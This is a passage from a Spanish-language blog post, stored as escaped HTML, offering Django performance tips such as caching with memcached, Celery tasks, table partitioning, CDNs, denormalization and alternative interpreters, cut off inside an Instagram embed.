Solr&lt;/a&gt;&#xA;, en lugar de implementar el código por ti mismo.&lt;/p&gt;&#xA;&lt;p&gt;Hay muchas opciones disponibles:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;ElasticSearch&lt;/li&gt;&#xA;&lt;li&gt;Solr&lt;/li&gt;&#xA;&lt;li&gt;Whoosh&lt;/li&gt;&#xA;&lt;li&gt;Xapian&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;usa-vistas-materializadas&#34;&gt;Usa vistas materializadas&lt;/h2&gt;&#xA;&lt;p&gt;Usa vistas materializadas para agregaciones complejas que no necesariamente requieren precisión en tiempo real (probablemente muchos casos para la mayoría).&lt;/p&gt;&#xA;&lt;h2 id=&#34;remueve-middleware-que-no-uses&#34;&gt;Remueve middleware que no uses&lt;/h2&gt;&#xA;&lt;p&gt;Cada middleware implica un paso extra en cada petición web, por lo que remover todos aquellos middlewares que no uses supondrá una ligera mejora en la velocidad de respuesta de tu aplicación.&lt;/p&gt;&#xA;&lt;p&gt;Aquí te dejo algunos middleware comunes que no siempre son usados, el de mensajes, páginas planas y el de localización, no, no me refiero a la ubicación geográfica, sino el de traducir el contenido acorde al contexto local.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;MIDDLEWARE &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; [&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;django.contrib.messages.middleware.MessageMiddleware&amp;#39;&lt;/span&gt;, &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;django.contrib.flatpages.middleware.FlatpageFallbackMiddleware&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;django.middleware.locale.LocaleMiddleware&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;cache-en-django&#34;&gt;Caché en Django&lt;/h2&gt;&#xA;&lt;p&gt;Cuando el tiempo de respuesta de tu aplicación se vuelve un problema, deberías empezar a colocar todos los resultados costosos en tiempo y recursos en caché.&lt;/p&gt;&#xA;&lt;p&gt;¿Te gustaría profundizar en el sistema de caché?, tengo un post sobre &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/django/cache-en-django-rest-framework-con-memcached/&#34;&gt;la caché en django con memcached&lt;/a&gt;&#xA; que puedes revisar para profundizar más.&lt;/p&gt;&#xA;&lt;p&gt;Si tu página tiene demasiados modelos, y raramente cambian, no tiene sentido acceder cada vez a la base de datos para solicitarlos con cada nueva petición HTTP. Solo coloca la respuesta de esa solicitud en caché y tu tiempo de respuesta mejorará, de esta manera cada que se pida el mismo contenido, no será necesario realizar una nueva petición o cálculos a la base de datos, sino que el valor se devolverá directamente de memoria.&lt;/p&gt;&#xA;&lt;h3 id=&#34;opciones-de-cache-disponibles-en-django&#34;&gt;Opciones de caché disponibles en Django&lt;/h3&gt;&#xA;&lt;p&gt;Entre las opciones disponibles está:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Memcached&lt;/li&gt;&#xA;&lt;li&gt;Redis&lt;/li&gt;&#xA;&lt;li&gt;Cache de base de datos&lt;/li&gt;&#xA;&lt;li&gt;Cache de sistema de archivos&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# settings.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;CACHES &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;default&amp;#39;&lt;/span&gt;: {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;BACKEND&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;django.core.cache.backends.memcached.MemcachedCache&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;LOCATION&amp;#39;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;127.0.0.1:11211&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;La caché de django es configurable a muchísimos niveles, desde el sitio entero hasta vistas o incluso pequeños trozos de información.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# myapp/views.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.shortcuts &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; render&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.views.decorators.cache &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; cache_page&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;@cache_page&lt;/span&gt;(&lt;span style=&#34;color:#ff9f43&#34;&gt;60&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;*&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;15&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;my_view&lt;/span&gt;(request):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; render(request, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;myapp/template.html&amp;#39;&lt;/span&gt;, {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;time_consuming_data&amp;#39;&lt;/span&gt;: get_time_consuming_data()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    })&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Toma en cuenta que &lt;strong&gt;la caché basada en memoria (memcached, redis) es un método de almacenamiento efímero&lt;/strong&gt;, toda la caché desaparecerá si el sistema se reinicia o apaga.&lt;/p&gt;&#xA;&lt;h2 id=&#34;usa-celery-para-tareas-asincronas&#34;&gt;Usa Celery para tareas asíncronas&lt;/h2&gt;&#xA;&lt;p&gt;A veces el cuello de botella es responsabilidad de terceros. Cuando envías un email o solicitas información de un tercero, no tienes manera de saber cuanto tiempo demorará tu solicitud, una conexión lenta o un servidor sobresaturado pueden mantenerte esperando por una respuesta. No tiene caso mantener al usuario esperando decenas de segundos por el envío de un correo electrónico, devuélvele una respuesta y transfiere el envío del correo electrónico a una cola para que se procese más tarde. &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://docs.celeryproject.org/en/stable/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Celery&lt;/a&gt;&#xA; es la opción más popular para hacerlo.&lt;/p&gt;&#xA;&lt;p&gt;¿No tienes idea de donde empezar?, tengo un par de entradas donde explico &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/django/como-usar-django-framework-de-manera-asincrona-usando-celery/&#34;&gt;como ejecutar tareas asíncronas con celery y django.&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# myapp/views.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; celery &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; shared_task&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;@shared_task&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;send_order_confirmation&lt;/span&gt;(order_pk):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    email_data &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; generate_data_for_email(order_pk)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    send_customized_mail(&lt;span style=&#34;color:#ff6ac1&#34;&gt;**&lt;/span&gt;email_data)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;particiona-las-tablas-en-tu-base-de-datos&#34;&gt;Particiona las tablas en tu base de datos&lt;/h2&gt;&#xA;&lt;p&gt;Cuando tus tablas superan los millones de registros, cada búsqueda recorrerá la base de datos completa, demorarando muchísimo tiempo en el proceso. ¿Cómo podríamos solucionarlo? partiendo las tablas en partes para que cada búsqueda se haga sobre una de las partes, por ejemplo, una tabla para los datos de un año atrás (o el periodo que tú prefieras), otra para los datos de dos años atrás y así hasta el primer dato.&lt;/p&gt;&#xA;&lt;p&gt;Las instrucciones para implementar el particionado dependen de la base de datos que estés usando. Si estás usando postgres esta función está solo disponible para versiones de Postgres superiores a la 10. Puedes usar &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://django-postgres-extra.readthedocs.io/en/master/table_partitioning.html&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;django-postgres-extra&lt;/a&gt;&#xA; para implementar esas funcionalidades extras que no se encuentran en el ORM de django.&lt;/p&gt;&#xA;&lt;p&gt;La implementación es demasiado extensa y requeriría una entrada completa. Hay un excelente artículo, en inglés, que te explica como implementar el &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://pganalyze.com/blog/postgresql-partitioning-django&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;particionado de Postgresql en Django.&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Considera también investigar sobre réplicas de bases de datos para lectura de archivos, dependiendo de la arquitectura de tu aplicación, puedes implementar múltiples replicas para lectura y una maestra que sirva para escribir. Este aproximación es un tema entero y se queda fuera del alcance de una pequeña entrada, pero ahora ya sabes que buscar.&lt;/p&gt;&#xA;&lt;h2 id=&#34;usa-un-cdn-content-delivery-network&#34;&gt;Usa un CDN (Content Delivery Network)&lt;/h2&gt;&#xA;&lt;p&gt;Servir imágenes y archivos estáticos puede dificultar la parte importante de tu aplicación; generar contenido dinámico. Puedes delegar la tarea de servir contenido estático a una red de distribución de contenidos (CDN, por sus siglas en inglés).&lt;/p&gt;&#xA;&lt;p&gt;Además de beneficiarse de las localizaciones geográficas de los CDN; un servidor en el mismo país (o continente) que tu usuario dará como reusltado una respuesta más rápida.&lt;/p&gt;&#xA;&lt;p&gt;Existen muchas opciones de CDN disponibles, entre las opciones más populares están AWS, y &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/software-architecture/examen-de-certificacion-azure-az-900-mi-experiencia/&#34;&gt;Azure, de acuerdo a mi certificación AZ-900&lt;/a&gt;&#xA;, Digital Ocean, Cloud Flare, entre otras.&lt;/p&gt;&#xA;&lt;h2 id=&#34;denormalizacion&#34;&gt;Denormalización&lt;/h2&gt;&#xA;&lt;p&gt;A veces hay consultas bastante costosas en tiempo de ejecución que podrían resolverse agregando redundancia, información repetida. Por ejemplo, imagina que quieres devolver la cantidad de productos que tienen la frase &amp;ldquo;para niños&amp;rdquo; en tu página principal, realizar una query que busque la palabra y luego ejecute un conteo es bastante sencillo. Pero, ¿y si tienes 10,000 o 100,000 o 1,000,000 de productos?, cada vez que quieras acceder al valor del conteo, tu base de datos recorrerá toda la tabla y contará los datos.&lt;/p&gt;&#xA;&lt;p&gt;En lugar de realizar un conteo, podrías guardar ese número en la base de datos o en memoria y devolverlo directamente, para mantenerlo actualizado podrías usar un conteo periódico o incrementarlo con cada adición.&lt;/p&gt;&#xA;&lt;p&gt;Por supuesto esto trae el problema de que ahora tienes más datos que mantener, no acoplados entre sí, por lo que &lt;strong&gt;solo deberías usar esta opción para resolver tus problemas de rendimiento en Django si ya agotaste las demás opciones.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;count &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; my_model&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;filter(description__icontains&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;para niños&amp;#34;&lt;/span&gt;)&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;count() &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# ... denormalizando&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;count &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; my_count&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;get(description&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;para niños&amp;#34;&lt;/span&gt;) &lt;span style=&#34;color:#78787e&#34;&gt;# Cada fila del modelo my_count contiene una descripción y el total de resultados&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;total_count &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; count&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;total&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;revisa-el-impacto-que-tienen-los-plugins-de-terceros&#34;&gt;Revisa el impacto que tienen los plugins de terceros&lt;/h2&gt;&#xA;&lt;p&gt;A veces nuestro sitio web funciona de manera casi perfecta, pero plugins de terceros, como el caso de las herramientas analíticas de facebook, google, plugins de integraciones con el chat de redes sociales afectan el rendimiento de nuestra aplicación. Aprende a retrasar su carga o modifícalos para reducir su impacto, usando async, defer u otros atributos HTML, en combinación con Javascript.&lt;/p&gt;&#xA;&lt;p&gt;Si lo anterior es imposible evalúa alternativas o considera eliminarlos.&lt;/p&gt;&#xA;&lt;h2 id=&#34;considera-usar-otro-interprete-para-mejorar-el-rendimiento-en-django&#34;&gt;Considera usar otro intérprete para mejorar el rendimiento en django&lt;/h2&gt;&#xA;&lt;p&gt;No todo es base de datos, a veces el problema está en el código Python en si mismo.&lt;/p&gt;&#xA;&lt;p&gt;Además del intérprete normal de Python, el que se ofrece por defecto en la página oficial de Python, existen otros intérpretes que aseguran darte un mayor rendimiento.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.pypy.org/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Pypy&lt;/a&gt;&#xA; es uno de ellos, se encarga de optimizar el código Python analizando el tipo de objetos que se crean con cada ejecución. Esta opción es ideal para aplicaciones donde Django se encargue de devolver un resultado que fue procesado principalmente usando código Python.&lt;/p&gt;&#xA;&lt;p&gt;Otro intérprete, o más bien un superset de Python llamado &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://mojolang.org/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Mojo&lt;/a&gt;&#xA; promete ser un super set de Python (así como Typescript lo es de Javascript) con un rendimiento muchas veces mayor, ahora mismo no es compatible con Django pues se centra en AI, pero quizás en el futuro lo sea, por lo que mantente atento a cualquier cambio de esta prometedora tecnología.&lt;/p&gt;&#xA;&lt;p&gt;Pero no todo es maravilloso; los intérpretes de terceros, incluido pypy, no suelen ser compatibles al 100% con todo el código Python, pero sí con la mayoría, por lo que, igual que la opción anterior. &lt;strong&gt;Usar un intérprete de terceros también debería de ser de las últimas opciones que consideres para resolver tu problema de rendimiento en Django.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;h2 id=&#34;escribe-los-cuellos-de-botella-en-un-lenguaje-de-bajo-nivel-con-swig&#34;&gt;Escribe los cuellos de botella en un lenguaje de bajo nivel con Swig&lt;/h2&gt;&#xA;&lt;p&gt;Si has probado todo lo anterior y aún así tienes una aplicación con cuellos de botella, probablemente estás exprimiendo demasiado a Python y necesites de la velocidad de otro lenguaje. Pero no te preocupes, no tienes que rehacer toda tu aplicación en C o C++. &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;http://www.swig.org/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Swig&lt;/a&gt;&#xA; te permite crear módulos en C, C++, Java, Go u otros lenguajes de más bajo nivel para importarlos directamente desde Python.&lt;/p&gt;&#xA;&lt;p&gt;¿Quieres saber que tanta diferencia hay entre Python y un lenguaje compilado como go? en mi entrada &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/go/python-vs-go-cual-es-el-mejor-lenguaje-de-programacion/&#34;&gt;Python vs Go comparo la velocidad de ambos lenguajes.&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Si tienes un cuello de botella causado por algún cálculo matemático muy costoso, que pone en evidencia la falta de velocidad de Python al ser un lenguaje interpretado, quizás te convenga reescribir el cuello de botella en algún lenguaje de bajo nivel para luego llamarlo usando Python. De esta manera tendrás la facilidad de uso de Python con la velocidad de un lenguaje de bajo nivel.&lt;/p&gt;&#xA;&lt;h2 id=&#34;orms-y-frameworks-alternativos&#34;&gt;ORMs y frameworks alternativos&lt;/h2&gt;&#xA;&lt;p&gt;Dependiendo del avance de tu aplicación quizás te convenga migrar a otro framework más veloz que Django. El ORM de Django no es exactamente el más veloz que existe, y, al momento de escribir esta entrada, no es asíncrono. Quizás te convenga evaluar el darle una oportunidad a &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.sqlalchemy.org/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;sqlalchemy&lt;/a&gt;&#xA;, &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://ponyorm.org/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;ponyorm&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;blockquote&#xA;    class=&#34;instagram-media&#34;&#xA;    data-instgrm-captioned&#xA;    data-instgrm-permalink=&#34;https://www.instagram.com/p/CWELMn0tG6d&#34;&#xA;    data-instgrm-version=&#34;14&#34;&#xA;    style=&#34;&#xA;      background: #fff;&#xA;      border: 0;&#xA;      border-radius: 3px;&#xA;      box-shadow: 0 0 1px 0 rgba(0, 0, 0, 0.5), 0 1px 10px 0 rgba(0, 0, 0, 0.15);&#xA;      margin: 1px;&#xA;      max-width: 540px;&#xA;      min-width: 326px;&#xA;      padding: 0;&#xA;      width: 99.375%;&#xA;      width: -webkit-calc(100% - 2px);&#xA;      width: calc(100% - 2px);&#xA;    &#34;&#xA;  &gt;&#xA;    &lt;div style=&#34;padding: 16px&#34;&gt;&#xA;      &lt;a&#xA;        href=&#34;https://www.instagram.com/p/CWELMn0tG6d&#34;&#xA;        style=&#34;&#xA;          background: #ffffff;&#xA;          line-height: 0;&#xA;          padding: 0 0;&#xA;          text-align: center;&#xA;          text-decoration: none;&#xA;          width: 100%;&#xA;        &#34;&#xA;        target=&#34;_blank&#34;&#xA;      &gt;&#xA;        &lt;div style=&#34;display: flex; flex-direction: row; align-items: center&#34;&gt;&#xA;          &lt;div&#xA;            style=&#34;&#xA;              background-color: #f4f4f4;&#xA;              border-radius: 50%;&#xA;              flex-grow: 0;&#xA;              height: 40px;&#xA;              margin-right: 14px;&#xA;              width: 40px;&#xA;            &#34;&#xA;          &gt;&lt;/div&gt;&#xA;          &lt;div&#xA;            style=&#34;&#xA;              display: flex;&#xA;              flex-direction: column;&#xA;              flex-grow: 1;&#xA;              justify-content: center;&#xA;            &#34;&#xA;          &gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                border-radius: 4px;&#xA;                flex-grow: 0;&#xA;                height: 14px;&#xA;                margin-bottom: 6px;&#xA;                width: 100px;&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                border-radius: 4px;&#xA;                flex-grow: 0;&#xA;                height: 14px;&#xA;                width: 60px;&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;          &lt;/div&gt;&#xA;        &lt;/div&gt;&#xA;        &lt;div style=&#34;padding: 19% 0&#34;&gt;&lt;/div&gt;&#xA;        &lt;div&#xA;          style=&#34;display: block; height: 50px; margin: 0 auto 12px; width: 50px&#34;&#xA;        &gt;&#xA;          &lt;svg&#xA;            width=&#34;50px&#34;&#xA;            height=&#34;50px&#34;&#xA;            viewBox=&#34;0 0 60 60&#34;&#xA;            version=&#34;1.1&#34;&#xA;            xmlns=&#34;https://www.w3.org/2000/svg&#34;&#xA;            xmlns:xlink=&#34;https://www.w3.org/1999/xlink&#34;&#xA;          &gt;&#xA;            &lt;g stroke=&#34;none&#34; stroke-width=&#34;1&#34; fill=&#34;none&#34; fill-rule=&#34;evenodd&#34;&gt;&#xA;              &lt;g transform=&#34;translate(-511.000000, -20.000000)&#34; fill=&#34;#000000&#34;&gt;&#xA;                &lt;g&gt;&#xA;                  &lt;path&#xA;                    d=&#34;M556.869,30.41 C554.814,30.41 553.148,32.076 553.148,34.131 C553.148,36.186 554.814,37.852 556.869,37.852 C558.924,37.852 560.59,36.186 560.59,34.131 C560.59,32.076 558.924,30.41 556.869,30.41 M541,60.657 C535.114,60.657 530.342,55.887 530.342,50 C530.342,44.114 535.114,39.342 541,39.342 C546.887,39.342 551.658,44.114 551.658,50 C551.658,55.887 546.887,60.657 541,60.657 M541,33.886 C532.1,33.886 524.886,41.1 524.886,50 C524.886,58.899 532.1,66.113 541,66.113 C549.9,66.113 557.115,58.899 557.115,50 C557.115,41.1 549.9,33.886 541,33.886 M565.378,62.101 C565.244,65.022 564.756,66.606 564.346,67.663 C563.803,69.06 563.154,70.057 562.106,71.106 C561.058,72.155 560.06,72.803 558.662,73.347 C557.607,73.757 556.021,74.244 553.102,74.378 C549.944,74.521 548.997,74.552 541,74.552 C533.003,74.552 532.056,74.521 528.898,74.378 C525.979,74.244 524.393,73.757 523.338,73.347 C521.94,72.803 520.942,72.155 519.894,71.106 C518.846,70.057 518.197,69.06 517.654,67.663 C517.244,66.606 516.755,65.022 516.623,62.101 C516.479,58.943 516.448,57.996 516.448,50 C516.448,42.003 516.479,41.056 516.623,37.899 C516.755,34.978 517.244,33.391 517.654,32.338 C518.197,30.938 518.846,29.942 519.894,28.894 C520.942,27.846 521.94,27.196 523.338,26.654 C524.393,26.244 525.979,25.756 528.898,25.623 C532.057,25.479 533.004,25.448 541,25.448 C548.997,25.448 549.943,25.479 553.102,25.623 C556.021,25.756 557.607,26.244 558.662,26.654 C560.06,27.196 561.058,27.846 562.106,28.894 C563.154,29.942 563.803,30.938 564.346,32.338 C564.756,33.391 565.244,34.978 565.378,37.899 C565.522,41.056 565.552,42.003 565.552,50 C565.552,57.996 565.522,58.943 565.378,62.101 M570.82,37.631 C570.674,34.438 570.167,32.258 569.425,30.349 C568.659,28.377 567.633,26.702 565.965,25.035 C564.297,23.368 562.623,22.342 560.652,21.575 C558.743,20.834 556.562,20.326 553.369,20.18 C550.169,20.033 549.148,20 541,20 C532.853,20 531.831,20.033 528.631,20.18 C525.438,20.326 523.257,20.834 521.349,21.575 C519.376,22.342 517.703,23.368 516.035,25.035 C514.368,26.702 513.342,28.377 512.574,30.349 C511.834,32.258 511.326,34.438 511.181,37.631 C511.035,40.831 511,41.851 511,50 C511,58.147 511.035,59.17 511.181,62.369 C511.326,65.562 511.834,67.743 512.574,69.651 C513.342,71.625 514.368,73.296 516.035,74.965 C517.703,76.634 519.376,77.658 521.349,78.425 C523.257,79.167 525.438,79.673 528.631,79.82 C531.831,79.965 532.853,80.001 541,80.001 C549.148,80.001 550.169,79.965 553.369,79.82 C556.562,79.673 558.743,79.167 560.652,78.425 C562.623,77.658 564.297,76.634 565.965,74.965 C567.633,73.296 568.659,71.625 569.425,69.651 C570.167,67.743 570.674,65.562 570.82,62.369 C570.966,59.17 571,58.147 571,50 C571,41.851 570.966,40.831 570.82,37.631&#34;&#xA;                  &gt;&lt;/path&gt;&#xA;                &lt;/g&gt;&#xA;              &lt;/g&gt;&#xA;            &lt;/g&gt;&#xA;          &lt;/svg&gt;&#xA;        &lt;/div&gt;&#xA;        &lt;div style=&#34;padding-top: 8px&#34;&gt;&#xA;          &lt;div&#xA;            style=&#34;&#xA;              color: #3897f0;&#xA;              font-family: Arial, sans-serif;&#xA;              font-size: 14px;&#xA;              font-style: normal;&#xA;              font-weight: 550;&#xA;              line-height: 18px;&#xA;            &#34;&#xA;          &gt;&#xA;            View this post on Instagram&#xA;          &lt;/div&gt;&#xA;        &lt;/div&gt;&#xA;        &lt;div style=&#34;padding: 12.5% 0&#34;&gt;&lt;/div&gt;&#xA;        &lt;div&#xA;          style=&#34;&#xA;            display: flex;&#xA;            flex-direction: row;&#xA;            margin-bottom: 14px;&#xA;            